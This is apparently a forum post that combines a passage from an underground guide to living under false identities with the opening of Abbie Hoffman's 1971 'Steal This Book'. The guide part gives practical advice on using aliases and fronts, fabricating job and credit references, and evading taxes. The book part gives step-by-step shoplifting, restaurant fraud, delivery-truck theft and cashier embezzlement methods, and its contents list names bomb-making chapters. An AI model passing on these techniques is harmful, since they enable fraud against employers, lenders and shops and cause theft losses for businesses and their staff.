thumbprints, and the FBI is not interested in helping. Applicants who
wnat to make sure their thumbprints are absolutely worthless will
press extra hard and make a slight twisting movement with their thumb as
it is being printed. The result is a perfect smudge--worthless.
NEVER order utility services in your real name. Utility companies
are the first watering hole for skip tracers.
Keep your name out of public records, such as business licences,
permits, tax accounts. Operate under another name or use another person
as a front. It's very easy to file "fictitious firm name statements"
using minimal ID.
Always subscribe to magazines and newspapers under alternate names.
Pay by mail using money orders. Don't have your name on the money order.
Likewise, always order merchandise by mail under an alias. Again,
Pay with money orders without your name on them.
Own real estate under either a cooperative relative's name, or a
fictitious one created especially for the purpose. Names of phoney
businesses work well here, as it is perfectly understandable and justified
for a business to own real property. Since real estate transactions
are almost always at "arms length", it is quite simple to hide behind
your agent or broker. In this area money talks more loudly than you
do, so it's not too difficult to arrange things to suit yourself.
If you have to vote use your "legal" address. Just make sure you don't
live there. So-called "voter ID cards" are a snap to obtain, as no
proof of identity is required. The only "security" for the registration
process is your sworn statement....
Protect the names, addresses, and telephone numbers of your friends.
Use a code of your own making to disguise the actual names and numbers,
or try to memorize what you need to know. You'd be amazed at how much
you can remember in this area if you make the effort.
Try to avoid carrying this coded address book with you. Cops always
flash on such items, and so-called "rings" are usually busted this
way. A smart thing to do would be to carry a dummy book of names and
numbers selected at random from the phone book. Keep your working book
stashed in a safe place.
This practice protects you, too, inasmuch as suspicion is cast on you
should some of your friends be busted and their names appear in your book.
Don't engage in illegal activity on other people's property without
their express consent. Save the dope and skin scenes for places where
no one else can get rousted besides the actual participants.
Don't ask questions which intrude on the privacy of others. Ask
general questions, not specific. One might not want you to know *where*
he works, but wouldn't mind telling you his occupation.
Adopt the attitude that personal information such as your school
background, national origin, interests, politics, family income, etc.,
are NO ONE'S business but your own. And stick to it!! Snooping will
thereby become so difficult that suspicion will be cast on the snooper
rather than on you.
When faced with such an inquisitive person, have prepared a set of standard
answers which you can deliver without discomfort or concern. But if the
person is really obnoxious, give him some out-and-out lies, which, when
"reported" in the right places, will make him look more like the ass he is.
Don't request receipts unless the amount is large. Make them intelligible
only to the parties involved. Remember that cash still has no names on it,
which is why Big Brother can hardly wait for the day of the "cashless"
society.
One CAUTION, however: Most banks have well established policies for
recording serial numbers of large denomination bills whenever they are
deposited or withdrawn in large amounts. ALL transactions of $10,000
or more are reported to the IRS. So play small and remain inconspicuous.
Payment of taxes of all kinds should be largely a matter of personal
convictions. The public debate on "tax protest" is endless, so
only a few generally-observed practices will be mentioned here.
The basic rule, in which even the IRS concurs, is pay only what
you are liable for. This means taking advantage of any and all loopholes
to the fullest with the ultimate aim of paying no tax whatsoever.
Don't forget, however, that most federal prisons have rather distinguished
populations of tax-evading accountants, attorneys, businessmen, and
politicians. If avoiding personal income tax, both state and federal, is
your goal, by all means study well or seek competent advice. Texas and
Nevada still have no state income taxes, in case you're thinking of
relocating to beat some taxes...
Sales and use taxes can often be avoided by buying consumer items
through personal channels such as friends, bazaars, swap meets (some),
classified want ads, bartering, and business exchanges. Out-of-state
mail order purchases are exempt from local taxes, too.
Sharp practices, such as claiming 10 or 12 exemptions to reduce the
weekly bite of withholding, or making a deal with your employer to be
paid in cash (which a great many do willingly) are ways of lessening,
even eliminating your tax, but can't be recommended if you plan on
remaining in the same job for over a year or so, or if you don't wish to
live with a solid alternate identity.
A "compromise" in the above dilemma is to maintain a minimal tax profile,
but plan on earning the bulk of your income through non-recorded
means, say, odd jobs for cash. Lead a "straight" life for the tax vultures,
but live "underground" with another trade and/or name.
In seeking employment you are usually asked for former job references. If
you know that some of them will be negative DON'T LIST THEM!
For the resulting "gaps" in your employment history, have already prepared
the names and addresses of your former "employers". They could be local
or out-of-state, in which case they probably won't be verified except by
mail. Of course you will be prepared for this by listing a mail forwarding
service's address as that of your former "employer". Merely pay the
first month's fee and notify the service of your code name--a company
("employer"). You will then be able to rewrite you own employment history.
Oh Happy Day! Gaps can also be covered by using attendance at school or
travel abroad as alternatives to negative job references.
For local job references, a good trick is to ask, or pay, a businessman's
secretary to give all the goody information right over the telephone.
Provide the phone number on the application, naturally, but remember that
the number may very well be verified first by a call to Information.
When it checks out, your application will appear quite honest, won't it?
Personal references on either employment or credit applications are a
laugh. They are virtually not verified. Provide them, of course,
but feel no compunction whatever in lifting random names and assumed
relationships right from the phone book. A locally known doctor or
minister is a safe bet, too.
For credit references bear in mind that outfits like big department stores
and most credit unions will not give out information to ANYONE on one of
their customer's or member's accounts. This means you can use any number
of these references with impunity when applying for credit as the lender
will not be able to verify one way or the other if your application is
true--a fact he will definitely NOT tell you, however. A complete guide
to establishing credit and obtaining credit cards is our own book,
CREDIT! Very useful, indeed.
Consider using a typewriter for all your correspondence, as it is not
only more impersonal, but also impossible to be "traced" to you. Whereas
handwriting *can* give you away, typewriting cannot. Only the machine
itself can be shown to be the one used for a particular piece of
correspondence. Electric machines are even more impersonal than manual
in that the striking pressure is uniform for all letters. Manual
typewriting can show that you have a weak "a" or a strong "k" or "c",
for example. Be careful, too, of allowing the keys to clog to the point
that the enclosed portions of letters begin to fill in. When the "e"
and the "o" look alike, it's time to get out the gum cleaner. Typewriters
using the newer carbon ribbons do not have this problem.
As an added layer of protection for your correspondence, consider mailing
a Xerox *copy* of the letter. There will be enough distortion in the copy
to make tracing you mighty difficult. Should you begin using a typewriter
regularly, you might plan to trade it in every six months or so for another
model, different typeface, etc. They are rather cheap to rent, so this is
a good possibility, too. Keep 'em guessing....
When going from the "old you" to the "new you", it is usually a good idea
to drop any old hobbies that could provide the basis for an informal
"stakeout" of your possible activities. If it is known that you
can never pass a museum or fishing pier without indulging yourself, you
have an automatic lead to those who might want to go looking for you.
Changing activities can be an excellent way of building your new identity.
Not only will the old ways fade faster, but your new acquaintances will
provide the support and interest in creating the new identity more rapidly
and completely.
Whenever you rent a new place to live, insist on the right to change
the locks. Refuse to give the landlord the new key, too. Many times
people have arrived home to find a snoopy landlord (lady, too) going
though personal belongings, papers, etc. Items and possessions which
might tend to give someone the wrong ideas about your identity, activities,
interests, etc., should be stored in locked boxes of sturdy construction.
Misleading items can be placed innocently in the open. Be observant of
items being rearranged or moved, too. Until you're secure in your new
location, you might take the precaution of placing hairs on door jambs,
threads across the threshhold, matches on tops of doors. When choosing
locks and keys, select those not readily available in the area.



toggletoggle post by Mucko  at Mar 25,2008 3:41pm
STEAL THIS BOOK
By Abbie Hoffman
Dedicated to Jerry Lefcourt, Lawyer and Brother
Library of Congress number 72-157115 (stolen from Library of Congress)
copyright ©1971 PIRATE EDITIONS
TABLE OF DISCONTENTS
INTRODUCTION
AIDING AND ABETTING
SURVIVE!
1. FREE FOOD
Restaurants
Food Programs
Supermarkets
Wholesale Markets
Food Conspiracies
Cheap Chow
2. FREE CLOTHING AND FURNITURE
Free Clothing
Sandals
Free Furniture
3. FREE TRANSPORTATION
Hitch-Hiking
Freighting
Cars
Buses
Airlines
In City Travel
4. FREE LAND
5. FREE HOUSING
Communes
Urban Living
Rural Living
List of Communes
6. FREE EDUCATION
List of Free Universities
7. FREE MEDICAL CARE
Birth Control Clinics
Abortions
Diseases Treated Free
8. FREE COMMUNICATION
Press Conference
Wall Painting
Use of the Flag
Radio
Free Telephones
Pay Phones
9. FREE PLAY
Movies and Concerts
Records and Books
10. FREE MONEY
Welfare
Unemployment
Panhandling
Rip-Offs
The International Yippie Currency Exchange
11. FREE DOPE
Buying, Selling and Giving It Away
Growing Your Own
12. ASSORTED FREEBIES
Laundry
Pets
Posters
Security
Postage
Maps
Ministry
Attrocities
Veteran's Benefits
Watch
Vacations
Drinks
Burials
Astrodome Pictures
Diploma
Toilets
FIGHT!
1. TELL IT ALL, BROTHERS AND SISTERS
Starting a Printing Workshop
Underground Newspapers
High School Papers
G.I. Papers
News Services
The Underground Press
Switchboards
2. GUERRILLA BROADCASTING
Guerrilla Radio
Guerrilla Television
3. DEMONSTRATIONS
Dress
Helmets
Gas Masks
Walkie-Talkies
Other Equipment
4. TRASHING
Weapons for Street Fighting
Knife Fighting
Unarmed Defense
General Strategy Rep
5. PEOPLE'S CHEMISTRY
Stink Bomb
Smoke Bomb
CBW
Molotov Cocktail
Sterno Bomb
Aerosol Bomb
Pipe Bombs
General Bomb Strategy
6. FIRST AID FOR STREET FIGHTERS
What to Do
Medical Committees
7. HIP-POCKET LAW
Legal Advice
Lawyer's Group
Join the Army of Your Choice
Canada, Sweden & Political Asylum
8. STEAL NOW, PAY NEVER
Shoplifting
Techniques
On the Job
Credit Cards
9. MONKEY WELFARE
10. PIECE NOW
Handguns
Rifles
Shotguns
Other Weapons
Training
Gun Laws
11. THE UNDERGROUND
Identification Papers
Communication
LIBERATE!
1. FUCK NEW YORK
2. FUCK CHICAGO
3. FUCK LOS ANGELES
4. FUCK SAN FRANCISCO
INTRODUCTION
It's perhaps fitting that I write this introduction in jail- that graduate school of survival.
Here you learn how to use toothpaste as glue, fashion a shiv out of a spoon and build
intricate communication networks. Here too, you learn the only rehabilitation
possible-hatred of oppression.
Steal This Book is, in a way, a manual of survival in the prison that is Amerika. It preaches
jailbreak. It shows you where exactly how to place the dynamite that will destroy the walls.
The first section-SURVIVE!-lays out a potential action program for our new Nation. The
chapter headings spell out the demands for a free society. A community where the
technology produces goods and services for whoever needs them, come who may. It calls
on the Robin Hoods of Santa Barbara Forest to steal from the robber barons who own the
castles of capitalism. It implies that the reader already is "ideologically set," in that he
understands corporate feudalism as the only robbery worthy of being called "crime," for it
is committed against the people as a whole. Whether the ways it describes to rip-off shit
are legal or illegal is irrelevant. The dictionary of law is written by the bosses of order. Our
moral dictionary says no heisting from each other. To steal from a brother or sister is evil.
To not steal from the institutions that are the pillars of the Pig Empire is equally immoral.
Community within our Nation, chaos in theirs; that is the message of SURVIVE!
We cannot survive without learning to fight and that is the lesson in the second section.
FIGHT! separates revolutionaries from outlaws. The purpose of part two is not to fuck the
system, but destroy it. The weapons are carefully chosen. They are "home-made," in that
they are designed for use in our unique electronic jungle. Here the uptown reviewer will find
ample proof of our "violent" nature. But again, the dictionary of law fails us. Murder in a
uniform is heroic, in a costume it is a crime. False advertisements win awards, forgers end
up in jail. Inflated prices guarantee large profits while shoplifters are punished. Politicians
conspire to create police riots and the victims are convicted in the courts. Students are
gunned down and then indicted by suburban grand juries as the trouble-makers. A modern,
highly mechanized army travels 9,000 miles to commit genocide against a small nation of
great vision and then accuses its people of aggression. Slumlords allow rats to maim
children and then complain of violence in the streets. Everything is topsy-turvy. If we
internalize the language and imagery of the pigs, we will forever be fucked. Let me illustrate
the point. Amerika was built on the slaughter of a people. That is its history. For years we
watched movie after movie that demonstrated the white man's benevolence. Jimmy
Stewart, the epitome of fairness, puts his arm around Cochise and tells how the Indians and
the whites can live in peace if only both sides will be reasonable, responsible and rational
(the three R's imperialists always teach the "natives"). "You will find good grazing land on
the other side of the mountain," drawls the public relations man. "Take your people and go
in peace." Cochise as well as millions of youngsters in the balcony of learning, were being
dealt off the bottom of the deck. The Indians should have offed Jimmy Stewart in every
picture and we should have cheered ourselves hoarse. Until we understand the nature of
institutional violence and how it manipulates values and mores to maintain the power of the
few, we will forever be imprisoned in the caves of ignorance. When we conclude that bank
robbers rather than bankers should be the trustees of the universities, then we begin to
think clearly. When we see the Army Mathematics Research and Development Center and
the Bank of Amerika as cesspools of violence, filling the minds of our young with hatred,
turning one against another, then we begin to think revolutionary.
Be clever using section two; clever as a snake. Dig the spirit of the struggle. Don't get hung
up on a sacrifice trip. Revolution is not about suicide, it is about life. With your fingers
probe the holiness of your body and see that it was meant to live. Your body is just one in a
mass of cuddly humanity. Become an internationalist and learn to respect all life. Make war
on machines, and in particular the sterile machines of corporate death and the robots that
guard them. The duty of a revolutionary is to make love and that means staying alive and
free. That doesn't allow for cop-outs. Smoking dope and hanging up Che's picture is no
more a commitment than drinking milk and collecting postage stamps. A revolution in
consciousness is an empty high without a revolution in the distribution of power. We are not
interested in the greening of Amerika except for the grass that will cover its grave.
Section three - LIBERATE! - concerns itself with efforts to free stuff (or at least make it
cheap) in four cities. Sort of a quick U.S. on no dollars a day. It begins to scratch the
potential for a national effort in this area. Since we are a nation of gypsies, dope on how to
move around and dig in anywhere is always needed. Together we can expand this section. It
is far from complete, as is the entire project. Incomplete chapters on how to identify police
agents, steal a car, run day-care centers, conduct your own trial, organize a G.I. coffee
house, start a rock and roll band and make neat clothes, are scattered all over the floor of
the cell. The book as it now stands was completed in the late summer of 1970. For three
months manuscripts made the rounds of every major publisher. In all, over 30 rejections
occurred before the decision to publish the book ourselves was made, or rather made for
us. Perhaps no other book in modern times presented such a dilemma. Everyone agreed
the book would be a commercial success. But even greed had its limits, and the IRS and
FBI following the manuscript with their little jive rap had a telling effect. Thirty "yeses"
become thirty "noes" after "thinking it over." Liberals, who supposedly led the fight against
censorship, talked of how the book "will end free speech."
Finally the day we were bringing the proofs to the printer, Grove consented to act as
distributor. To pull a total solo trip, including distribution, would have been neat, but such
an effort would be doomed from the start. We had tried it before and blew it. In fact, if
anyone is interested in 4,000 1969 Yippie calendars, they've got a deal. Even with a
distributor joining the fight, the battle will only begin when the books come off the press.
There is a saying that "Freedom of the press belongs to those who own one." In past eras,
this was probably the case, but now, high speed methods of typesetting, offset printing and
a host of other developments have made substantial reductions in printing costs. Literally
anyone is free to print their own works. In even the most repressive society imaginable, you
can get away with some form of private publishing. Because Amerika allows this, does not
make it the democracy Jefferson envisioned. Repressive tolerance is a real phenomenon. To
talk of true freedom of the press, we must talk of the availability of the channels of
communication that are designed to reach the entire population, or at least that segment
of the population that might participate in such a dialogue. Freedom of the press belongs
to those that own the distribution system. Perhaps that has always been the case, but in a
mass society where nearly everyone is instantaneously plugged into a variety of national
communications systems, wide-spread dissemination of the information is the crux of the
matter. To make the claim that the right to print your own book means freedom of the
press is to completely misunderstand the nature of a mass society. It is like making the
claim that anyone with a pushcart can challenge Safeway supermarkets, or that any child
can grow up to be president.
State legislators, librarians, PTA members, FBI agents, church-goers, and parents: a
veritable legion of decency and order already is on the march. To get the book to you might
be the biggest challenge we face. The next few months should prove really exciting.
Obviously such a project as Steal This Book could not have been carried out alone. Izak
Haber shared the vision from the beginning. He did months of valuable research and
contributed many of the survival techniques. Carole Ramer and Gus Reichbach of the New
York Law Commune guided the book through its many stages. Anna Kaufman Moon did
almost all the photographs. The cartoonists who have made contributions include Ski
Williamson and Gilbert Sheldon. Tom Forcade, of the UPS, patiently did the editing. Bert
Cohen of Concert Hall did the book's graphic design. Amber and John Wilcox set the type.
Anita Hoffman and Lynn Borman helped me rewrite a number of sections. There are others
who participated in the testing of many of the techniques demonstrated in the following
pages and for obvious reasons have to remain anonymous. There were perhaps over 50
brothers and sisters who played particularly vital roles in the grand conspiracy. Some of
the many others are listed on the following page. We hope to keep the information up to
date. If you have comments, law suits, suggestions or death threats, please send them to:
Dear Abbie P.0. Box 213, Cooper Station, New York, NY 10003. Many of the tips might not
work in your area, some might be obsolete by the time you get to try them out, and many
addresses and phone numbers might be changed. If the reader becomes a participating
researcher then we will have achieved our purpose.
Watch for a special edition called Steal This White House, complete with blueprints of
underground passages, methods of jamming the communications network and a detailed
map of the celebrated room where according to Tricia Nixon, "Daddy loves to listen to
Mantovanni records, turn up the air conditioner full blast, sit by the fireplace, gaze out the
window to the Washington Monument and meditate on those difficult problems that face all
the peoples of this world."
December, 1970
Cook County Jail
Chicago
"FREE SPEECH IS THE RIGHT TO SHOUT
'THEATER' IN A CROWDED FIRE."
- A YIPPIE PROVERB
AIDING AND ABETTING
Tim Leary, Tom, Geronimo, Pearl Paperhanger, Sonny, Pat Solomon, Allan Katzman, Jacob
Kohn, Nguyen Van Troi, Susan, Marty, Andy, Ami, Marshall Bloom, Viva, Ben, Oanh, Robin
Palmer, Mom and Dad, Janie Fonda, Jerry, Denis, LNS, Bernadine Dohrn, a wall in Harvard
Square, Nancy, an anonymous stewardess, Shirley Wonderful, Roz, Gumbo, Janis, Jimi,
Dylan Liberation Front, Jeannie, God Slick, John, David, Rusty, Barney, Richard, Denny, Ron
Cobb, the entire Viet Cong, Sam Shephard, Ma Bell, Eric, David, Joe, Kim Agnew, the
Partridge Family, Carol, Alan Ginsburg, Woman's Lib, Julius Lester, Lenny Bruce, Hack,
Billy, Paul, Willy, Colleen, Sid, Johnny Appleseed, the Rat, Craig, Che, Willie Sutton, Wanda,
EVO, Jeff, Crazy Horse, Huey, Casey, Bobby, Alice, Mao, Rip, Ed, Bob, Gay Liberation Front,
WPAX, Frank Dudock, Manny, Mungo, Lottie, Rosemary, Marshall, Rennie, Judy, Jennifer,
Mr. Martin, Keith, Madame Binh, Mike, Eleanor, Dr. Spock, Afeni, Candice, the Tupamaros,
Berkeley Tribe, Gilbert Sheldon, Stanley Kubrick, Sam, Anna, Skip Williamson, UPS, Andy
Stapp, the Yippies, Richard Brautigan, Jano, Carlos Marighella, the Weathermen, Julius
Jennings Hoffman, Quentin, the inmates of TIER A-l Cook County Jail, Houdini, 37, Rosa
Luxemberg, the Kent 25, the Chicago 15, the New York 21, the Motor City 3, the
Indianapolis 500, Jack, Joan, Malcolm X, Mayakovsky, Dotson, R. Crumb, Daniel Clyne,
Justin, The FBI Top 10 (now 16), Unis, Dana, Jim Morrison, Brian, John, Gus, Ruth, Nancy
Unger, Pun, Jomo, Peter, Mark Rudd, Billy Kunstler, Genie, Ken, the Law Commune, Paula,
Robby, Terry, Dianna, Angela, Ted, Phil, Jefferson Airplane, Len, Tricky Prickers, the
Berrigans, Stu, Rayanne, J.B., Jonathan Jackson, the Armstrong Brothers, Homer, Sharon,
Fred Hampton, Jean Jacques Lebel, A. H. Maslow, Hanoi Rose, Sylvia, Fellini, Amaru, Ann
Fettamen, Artaud, Bert, Merrill, Lynne, and last but not least to Spiro what's his name who
provided the incentive.
SURVIVE!
FREE FOOD
RESTAURANTS
In a country such as Amerika, there is bound to be a hell-of-a-lot food lying around just
waiting to be ripped off. If you want to live high off the hog without having to do the dishes,
restaurants are easy pickings. In general, many of these targets are easier marks if you are
wearing the correct uniform. You should always have one suit or fashionable dress outfit
hanging in the closet for the proper heists. Specialized uniforms, such as nun and priest
garb, can be most helpful. Check out your local uniform store for a wide range of clothes
that will get you in, and especially out, of all kinds of stores. Every movement organization
should have a prop and costume department.
In every major city there are usually bars that cater to the New Generation type riff-raff,
trying to hustle their way up the escalator of Big Business. Many of these bars have a buffet
or hors-d'oeuvres served free as a come-on to drink more mindless booze. Take a
half-empty glass from a table and use it as a prop to ward off the anxious waitress. Walk
around sampling the free food until you've had enough. Often, there are five or six such bars
in close proximity, so moving around can produce a delightful "street smorgasbord." Dinner
usually begins at 5:00 PM.
If you are really hungry, you can go into a self-service cafeteria and finish the meal of
someone who left a lot on the plate. Self-service restaurants are usually good places to cop
things like mustard, ketchup, salt, sugar, toilet paper, silverware and cups for home use.
Bring an empty school bag and load up after you've cased the joint. Also, if you can
stomach the food, you can use slugs at the automat. Finishing leftovers can be worked in
even the fanciest of restaurants. When you are seated at a place where the dishes still
remain, chow-down real quick. Then after the waitress hands you the menu, say you have to
meet someone outside first, and leave.
There are still some places where you can get all you can eat for a fixed price. The best of
these places are in Las Vegas. Sew a plastic bag onto your tee-shirt or belt and wear a
loose-fitting jacket or coat to cover any noticeable bulge. Fried chicken is the best and the
easiest to pocket, or should we say bag. Another trick is to pour your second free cup of
hot coffee into the plastic bag sewed inside your pocket and take it with you.
At large take-out stands you can say you or your brother just picked up an order of fifteen
hamburgers or a bucket of chicken, and got shorted. We have never seen or heard of
anybody getting turned down using this method. If you want to get into a grand food heist
from take-out stands, you can work the following nervy bit: from a pay phone, place an
order from a large delivery restaurant. Have the order sent to a nearby apartment house.
Wait a few minutes in the booth after you've hung up, as they sometimes call back to
confirm the order. When the delivery man goes into the apartment house to deliver the
order, you can swipe the remaining orders that are still in his truck.
In fancy sit-down restaurants, you can order a large meal and halfway through the main
course, take a little dead cockroach or a piece of glass out of your pocket and place it
deftly on the plate. Jump up astonished and summon the headwaiter. "Never have I been so
insulted. I could have been poisoned" you scream slapping down the napkin. You can refuse
to pay and leave, or let the waiter talk you into having a brand new meal on the house for
this terrible inconvenience.
In restaurants where you pay at the door just before leaving, there are a number of
free-loading tricks that can be utilized. After you've eaten a full meal and gotten the check,
go into the restroom. When you come out go to the counter or another section of the
restaurant and order coffee and pie. Now you have two bills. Simply pay the cheaper one
when you leave the place. This can be worked with a friend in the following way. Sit next to
each other at the counter. He should order a big meal and you a cup of coffee. Pretend you
don't know each other. When he leaves, he takes your check and leaves the one for the large
meal on the counter. After he has paid the cashier and left the restaurant, you pick up the
large check, and then go into the astonishment routine, complaining that somebody took
the wrong check. You end up only paying for your coffee. Later, meet your partner and
reverse the roles in another place.
In all these methods, you should leave a good tip for the waiter or waitress, especially with
the roach-in-the-plate gambit. You should try to avoid getting the employees in trouble or
screwing them out of a tip.
One fantastic method of not only getting free food but getting the best available is the
following technique that can be used in metropolitan areas. Look in a large magazine shop
for gourmet digests and tourist manuals. Swipe one or two and copy down a good name
from the masthead inside the cover. Making up a name can also work. Next invest $5.00 to
print business cards with the name of the magazine and the new "associate editor." Call or
simply drop into a fancy restaurant, show a copy of the magazine and present the manager
with your card. They will insist that the meal be on the house.
Great places to get fantastic meals are weddings, bar-mitzvahs, testimonials and the like.
The newspaper society sections have lists of weddings and locations. If your city has a large
Jewish population, subscribe to the newspaper that services the Jewish community. There
are extensive lists in these papers of family occasions where tons of good food is served.
Show up at the back of the synagogue a few hours after the affair has begun with a story of
how you'd like to bring some leftovers of "good Jewish food" back to your fraternity or
sorority. If you want to get the food served to you out front, you naturally have to disguise
yourself to look straight. Remarks such as, "I'm Marvin's cousin," or learning the bride's
name, "Gee, Dorothy looks marvelous" are great. Lines like "Betty doesn't look pregnant" are
frowned upon. A man and woman team can work this free-load much better than a single
person as they can chatter back and forth while stuffing themselves.
If you're really into a classy free meal, and you are in a city with a large harbor, check out
the passenger ship section in the back pages of the newspaper. There you find the schedule
of departures for ocean cruises. Most trips (these kind, anyway) begin with a fantastic bon
voyage party on board ship. Just walk on a few hours before departure time and start
swinging. Champagne, caviar, lobster, shrimp and more, all as free as the open seas. If you
get really bombed and miss getting off, you can also wiggle a ride across the ocean. You get
sent back as soon as you hit the other side, but it's a free ocean cruise. You should have a
pretty good story ready to go, or you might end up rowing in the galley.
Another possibility for getting a free meal is to go down to the docks and get friendly with a
sailor. He can often invite you for dinner on board ship. Foreign sailors are more than glad
to meet friends and you can get great foreign dinners this way.
FOOD PROGRAMS
In Amerika, there is a national food stamp program that unfortunately is controlled by the
states. Many states, for racist reasons, do not want to make it too available or to publicize
the fact that it even exists. It is a much better deal than the food program connected with
welfare, because you can use the stamps to buy any kind of food. The only items excluded
are tobacco products and alcoholic beverages. In general, you can qualify if you earn less
than $165 per month; the less you earn, the more stamps you can receive. There is
minimal hassle involved once you get by the first hurdle. Show up at your local food stamp
office, which can be found by calling the Welfare Department in our city. Make an
appointment to see a representative for your area. They will tell you to bring all sorts of
receipts, but the only thing you need are a few rent stubs for the most recent months. An
array of various receipt books is a nice supplement to one's prop room. If the receipts are
for a high rent, tell them you rent a room from a group of people and eat separately. They
really only want to prove that you have cooking facilities. Once you get the stamps, you can
pick them up regularly. Some states even mail them to your pad. You can get up to a
hundred dollars worth of free purchases a month per person in the most liberal states.
Large amounts of highly nutritional food can be gotten for as little as three cents per meal
from a non-profit organization called Multi-Purpose Food for Millions Foundation, Inc., 1800
Olympic Ave., Santa Monica, California. Write and they will send you details.
SUPERMARKETS
Talking about food in Amerika means talking about supermarkets-mammoth neon lighted
streets of food packaged to hoodwink the consumers. Many a Yippie can be found in the
aisles, stuffing his pockets with assorted delicacies. We have been shoplifting from
supermarkets on a regular basis without raising the slightest suspicion, ever since they
began.
We are not alone, and the fact that so much stealing goes on and the supermarkets still
bring in huge profits shows exactly how much overcharging has occurred in the first place.
Supermarkets, like other businesses, refer to shoplifting as "inventory shrinkage." It's as if
we thieves were helping Big Business reduce weight. So let's view our efforts as methods
designed to trim the economy and push forward with a positive attitude.
Women should never go shopping without a large handbag. In those crowded aisles,
especially the ones with piles of cases, all sorts of goodies can be transferred from
shopping cart to handbag. A drop bag can be sewn inside a trench coat, for more efficient
thievery. Don't worry about the mirrors; attendants never look at them. Become a
discriminating shopper and don't stuff any of the cheap shit in your pockets.
Small bottles and jars often have the same size cap as the larger expensive sizes. If they
have the price stamped on the cap, switch caps, getting the larger size for the cheaper
price. You can empty a pound box of margarine and fill it with sticks of butter. Small narrow
items can be hidden in the middle of rolls of toilet paper. Larger supermarkets sell
records. You can sneak two good LP's into one of those large frozen pizza boxes. In the
produce department, there are bags for fruit and vegetables. Slip a few steaks or some
lamb chops into the bottom of a large brown bag and pile some potatoes on top. Have a
little man in the white coat weigh the bag, staple it and mark the price. With a black crayon
you can mark your own prices, or bring your own adhesive price tags.
It's best to work shoplifting in the supermarket with a partner who can act as look-out and
shield you from the eyes of nosy employees, shoppers and other crooks trying to pick up
some pointers. Work out a prearranged set of signals with your partner. Diversions, like
knocking over displays, getting into fist fights with the manager, breaking plate glass
windows and such are effective and even if you don't get anything they're fun. Haven't you
always wanted to knock over those carefully constructed nine-foot pyramids of garbage?
You can walk into a supermarket, get a few items from the shelves, and walk around eating
food in the aisles. Pick up some cherries and eat them. Have a spoon in your pocket and
open some yogurt. Open a pickle or olive jar. Get some sliced meat or cheese from the
delicatessen counter and eat it up, making sure to ditch the wrapper. The cart full of items,
used as a decoy, can just be left in an aisle before you leave the store.
Case the joint before pulling a big rip-off. Know the least crowded hours, learn the best
aisles to be busy in, and check out the store's security system. Once you get into
shoplifting in supermarkets, you'll really dig it. You'll be surprised to learn that the food
tastes better.
Large scale thievery can best be carried out with the help of an employee. Two ways we
know of work best. A woman can get a job as a cashier and ring up a small bill as her
brothers and sisters bring home tons of stuff.
The method for men involves getting a job loading and unloading trucks in the receiving
department. Some accomplices dressed right can just pull in and, with your help, load up
on a few cases. Infiltrating an employee into a store is probably the best way to steal.
Cashiers, sales clerks, shippers, and the like are readily available jobs with such high
turnover and low pay that little checking on your background goes on. Also, you can learn
what you have to do in a few days. The rest of the week, you can work out ways to clean out
the store. After a month or so of action you might want to move on to another store before
things get heavy. We know one woman working as a cashier who swiped over $500 worth of
food a week. She had to leave after a month because her boss thought she was such an
efficient cashier that he insisted on promoting her to a job that didn't have as many fringe
benefits for her and her friends.
Large chain stores like Safeway throw away day-old vegetables, the outer leaves of lettuce,
celery and the like. This stuff is usually found in crates outside the back of the building. Tell
them you're working with animals at the college labs, or that you raise guinea pigs. They
might even get into saving them for you, but if they don't just show up before the garbage is
collected, (generally early in the morning), and they'll let you cart away what you want.
Dented cans and fruit can often be gotten free, but certainly at a reduced rate. They are
still as good as the undamaged ones. So be sure to dent all your cans before you go to the
cashier.
Look up catering services and businesses that service factories and office buildings with
ready-made sandwiches. Showing up at these places at the right times (catering services
on late Sunday night and sandwich dealers at 5:00 PM on weekdays) will produce loads of
good food. Legally, they have to dispose of the food that's left over. They would be more
than happy to give it to you if you spin a good story.
Butchers can be hustled for meat scraps with meat scraps with a "for my dog" story, and
bakeries can be asked for day-old rolls and bread.
WHOLESALE MARKETS
Large cities all have a wholesale fruit and vegetable area where often the workers will give
you tons of free food just for the asking. Get a good story together. Get some church
stationery and type a letter introducing yourself "to whom it may concern," or better still,
wear some clerical garb. Orchards also make good pickings just after the harvest has been
completed.
Factories often will give you a case or two of free merchandise for a "charitable" reason.
Make some calls around town and then go pick up the stuff at the end of the week. A great
idea is to get a good list of a few hundred large corporations around the country by looking
up their addresses at the library. Poor's Register of Companies, Directors and Executives
has the most complete list. Send them all letters complaining about how the last box of
cereal was only half full, or you found a dead fly in the can of peaches. They often will send
you an ample supply of items just to keep you from complaining to your friends or worse,
taking them to court. Often you can get stuff sent to you by just telling them how good
their product is compared to the trash you see nowadays. You know the type of letter -
"Rice Krispies have had a fantastic effect on my sexual prowess," or "Your frozen asparagus
has given a whole new meaning to my life." In general though, the nasties get the best
results.
Slaughterhouses usually have meat they will give away. They are anxious to give to church
children's programs and things like that. In most states, there is a law that if the slab of
meat touches the ground, they have to throw it away. Drop around meat houses late in the
day and trip a few trucks.
Fishermen always have hundreds of pounds of fish that have to be thrown out. You can have
as much as you can cart away, generally just for the asking. Boats come in late in the
afternoon and they'll give you some of the catch, or you can go to the markets early in the
morning when the fishing is best.
These methods of getting food in large quantities can only be appreciated by those who
have tried it. You will be totally baffled by the unbelievable quantities of food that will be
laid on you and with the ease of panhandling.
Investing in a freezer will allow you to bi-weekly or even monthly trips to the wholesale
markets and you'll get the freshest foods to boot. Nothing can beat getting it wholesale for
free. Or is it free for wholesale? In any event, "bon appetit."
FOOD CONSPIRACIES
Forming a food cooperative is one of the best ways to promote solidarity and get every kind
of food you need to survive real cheap. It also provides a ready-made bridge for developing
alliances with blacks, Puerto Ricans, chicanos and other groups fighting our common
oppressor on a community level.
Call a meeting of about 20 communes, collectives or community organizations. Set up the
ground rules. There should be a hard-core of really good hustlers that serve as the shopping
or hunting party and another group of people who have their heads together enough to
keep records and run the central distribution center. Two or three in each group should do
it. They can get their food free for the effort. Another method is to rotate the activity
among all members of the conspiracy. The method you choose depends upon your politics
and whether you favor a division of labor or using the food conspiracy as a training for
collective living. Probably a blend of the two is best, but you'll have to hassle that out for
yourself. The next thing to agree upon is how the operation and all the shit you get will be
paid for. This is dependent on a number of variables, so we'll map out one scheme and you
can modify it to suit your particular situation. Each member of every commune could be
assessed a fee for joining. You want to get together about $2,000, so at 200 members, this
is ten bucks a piece. After the joining fee, each person or group has to pay only for the low
budget food they order, but some loot is needed to get things rolling. The money goes to
getting a store front or garage, a cheap truck, some scales, freezers, bags, shelving,
chopping blocks, slicer and whatever else you need. You can get great deals by looking in
the classified ads of the local overground newspaper and checking for restaurants or
